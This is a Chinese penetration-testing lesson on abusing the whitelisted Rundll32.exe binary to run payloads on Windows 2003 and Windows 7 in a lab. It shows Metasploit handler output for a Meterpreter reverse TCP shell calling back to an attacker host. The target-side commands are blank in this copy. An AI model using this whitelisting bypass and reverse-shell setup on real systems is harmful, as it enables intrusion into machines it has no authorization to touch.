第八十一课：基于白名单Rundll32.exe执行payload第十一季
注：请多喝点热水或者凉白开，可预防肾结石，通风等。
Rundll32简介：
Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
说明：Rundll32.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Rundll32调用。
Windows 2003 默认位置：
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exeWindows 7 默认位置：
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe攻击机： 192.168.1.4 Debian 靶机： 192.168.1.119 Windows 2003 192.168.1.5 Windows 7
基于远程加载（1）：
配置攻击机msf： 注：x86 payload
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
注：x64 rundll32.exe
基于本地加载（2）：
payload配置：
靶机执行：
基于命令执行（3）：
靶机执行：
Windows 2003：
注：如靶机支持powershell，调用powershell更贴合实战。
附录：Rundll32_shellcode
Micropoor
Last updated
Was this helpful?